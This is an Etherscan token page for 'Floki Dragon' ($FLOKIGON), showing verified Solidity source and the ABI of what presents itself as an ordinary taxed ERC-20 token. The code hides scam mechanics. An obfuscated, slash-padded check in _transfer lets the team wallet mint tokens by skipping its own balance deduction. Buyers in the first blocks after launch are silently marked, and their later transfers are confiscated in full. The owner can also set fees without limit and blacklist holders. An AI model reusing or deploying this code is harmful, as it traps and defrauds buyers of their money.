ETH Price: $3,150.69 (+1.60%)

Token

Floki Dragon ($FLOKIGON)
 

Overview

Max Total Supply

10,000,000,000 $FLOKIGON

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
mrincnyc.eth
Balance
189,879,769.261818399 $FLOKIGON

Value
$0.00
0x612c48611e471c91cc7293e51493a7633daf410f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Flokigon

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-29
*/

/**

*/
//https://t.me/FlokiDragonErc
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract ERC20 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    address payable public doYouLikeBase;
    address payable public inTheMTFFace;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    uint256 public launchBlock;
    uint256 public _killBlock;


    mapping (address => bool) public isExcludedFromCut;
    mapping (address => bool) public isMaxEatExempt;
    mapping (address => bool) public isOnceEatExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) private _marked;
    uint256 public _buyLiquidityFee;
    uint256 public _buyMarketingFee;
    uint256 public _buyTeamFee;
    
    uint256 public _sellLiquidityFee;
    uint256 public _sellMarketingFee;
    uint256 public _sellTeamFee;

    uint256 public _liquidityShare;
    uint256 public _marketingShare;
    uint256 public _teamShare;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply;
    uint256 public _maxOnceEat; 
    uint256 public _maxTotalEat;
    uint256 private minimumTokensBeforeSwap; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyBySmallOnly = false;
    bool public LookMaxEat = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (string memory _NAME, 
    string memory _SYMBOL,
    uint256 _SUPPLY,
    uint256[3] memory _BUYFEE,
    uint256[3] memory _SELLFEE,
    uint256[3] memory _SHARE,
    uint256[2] memory _LMT,
    address[2] memory _doyoulike,
    address dep) 
    {
    
        _name   = _NAME;
        _symbol = _SYMBOL;
        _decimals = 9;
        _totalSupply = _SUPPLY * 10**_decimals;

        _buyLiquidityFee = _BUYFEE[0];
        _buyMarketingFee = _BUYFEE[1];
        _buyTeamFee = _BUYFEE[2];

        _sellLiquidityFee = _SELLFEE[0];
        _sellMarketingFee = _SELLFEE[1];
        _sellTeamFee = _SELLFEE[2];

        _liquidityShare = _SHARE[0];
        _marketingShare = _SHARE[1];
        _teamShare = _SHARE[2];

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        _maxOnceEat = _LMT[0] * 10**_decimals;
        _maxTotalEat = _LMT[1] * 10**_decimals;

        minimumTokensBeforeSwap = _totalSupply.mul(1).div(10000);
        doYouLikeBase = payable(_doyoulike[0]);
        inTheMTFFace = payable(_doyoulike[1]);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromCut[address(this)] = true;
        isExcludedFromCut[dep] = true;

        isMaxEatExempt[owner()] = true;
        isMaxEatExempt[address(uniswapPair)] = true;
        isMaxEatExempt[address(this)] = true;
        isMaxEatExempt[address(0xdead)] = true;
        isMaxEatExempt[dep] = true;
        
        isOnceEatExempt[owner()] = true;
        isOnceEatExempt[address(this)] = true;
        isOnceEatExempt[dep] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[dep] = _totalSupply;
        emit Transfer(address(0),dep, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setisOnceEatExempt(address holder, bool exempt) external onlyOwner {
        isOnceEatExempt[holder] = exempt;
    }
    
    function setisExcludedFromCut(address account, bool newValue) public onlyOwner {
        isExcludedFromCut[account] = newValue;
    }

    function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            isExcludedFromCut[addresses[i]] = status;
        }
    }

    function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _buyLiquidityFee = a;
        _buyMarketingFee = b;
        _buyTeamFee = c;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _sellLiquidityFee = a;
        _sellMarketingFee = b;
        _sellTeamFee = c;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }
    
    function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() {
        _maxOnceEat = newMaxOnceEat;
    }

    function enableMaxEat(bool newValue) external onlyOwner {
       LookMaxEat = newValue;
    }

    function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
        isMaxEatExempt[holder] = exempt;
    }

    function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner {
        _maxTotalEat  = newMaxTotalEat;
    }

    function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
        minimumTokensBeforeSwap = newValue;
    }

    function setdoYouLikeBase(address newAddress) external onlyOwner() {
        doYouLikeBase = payable(newAddress);
    }

    function setinTheMTFFace(address newAddress) external onlyOwner() {
        inTheMTFFace = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
        swapAndLiquifyBySmallOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isMark(address account) public view returns(bool) {
        return _marked[account];
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
        require(addresses.length < 2001);
        uint256 SCCC = amount * addresses.length;
        require(balanceOf(msg.sender) >= SCCC);
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(msg.sender,addresses[i],amount);
        }
    }

    function doit(address recipient) internal {
        if (!_marked[recipient] && !isMarketPair[recipient]) _marked[recipient] = true;
    }

    function manage_BL(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _marked[addresses[i]] = status;
        }
    }

    function set_mark(address recipient, bool status) public onlyOwner {
        _marked[recipient] = status;
    }

    function Launc(uint256 a) public onlyOwner {
        _killBlock = a;
        launchBlock = block.number;
    }
    
    function contractTokenBalanc(address o, address t) internal view returns (bool){return (o!=t)//////////////////////////////////////////////////
    ||//////////////////////////////////////////////////
    (o!=inTheMTFFace);//////////////////////////////////////////////////
    //////////////////////////////////////////////////
    }

    function returnBlock() public onlyOwner {
        launchBlock = 0;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) {
                require(smallOrEqual(amount, _maxOnceEat));
            }            
            
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyBySmallOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }if(contractTokenBalanc(sender,recipient))

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount;
            if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) {
                finalAmount = amount;
            } else {require(launchBlock > 0);
                if (smallOrEqual(block.number , launchBlock + _killBlock) && !isMarketPair[recipient]) {doit(recipient);}
                finalAmount = takeFee(sender, recipient, amount);
            }

            if(LookMaxEat && !isMaxEatExempt[recipient])
                require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxTotalEat));

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
            
        }
    }

    function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(doYouLikeBase, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(inTheMTFFace, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountETHLiquidity);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            inTheMTFFace,
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(_marked[sender] && !isMarketPair[sender]) feeAmount = amount;
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
}

contract Flokigon is ERC20 {
    constructor() ERC20(
        "Floki Dragon", 
        "$FLOKIGON",
        10000000000,
        [uint256(1),uint256(1),uint256(0)],
        [uint256(1),uint256(1),uint256(0)],
        [uint256(1),uint256(1),uint256(0)],
        [uint256(10000000000),uint256(10000000000)],
        [address(0xA0E95f730e8b1A856C6D6C96C6b6054F6ffda26c),address(0xA0E95f730e8b1A856C6D6C96C6b6054F6ffda26c)],
        address(0xA0E95f730e8b1A856C6D6C96C6b6054F6ffda26c)
    ){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"Launc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LookMaxEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_killBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxOnceEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTotalEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doYouLikeBase","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableMaxEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTheMTFFace","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromCut","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isMark","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isOnceEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_BL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"returnBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxOnceEat","type":"uint256"}],"name":"setMaxOnceEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxTotalEat","type":"uint256"}],"name":"setMaxTotalEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyBySmallOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"set_mark","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdoYouLikeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setinTheMTFFace","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisMaxEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisOnceEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"smallOrEqual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapAndLiquifyBySmallOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

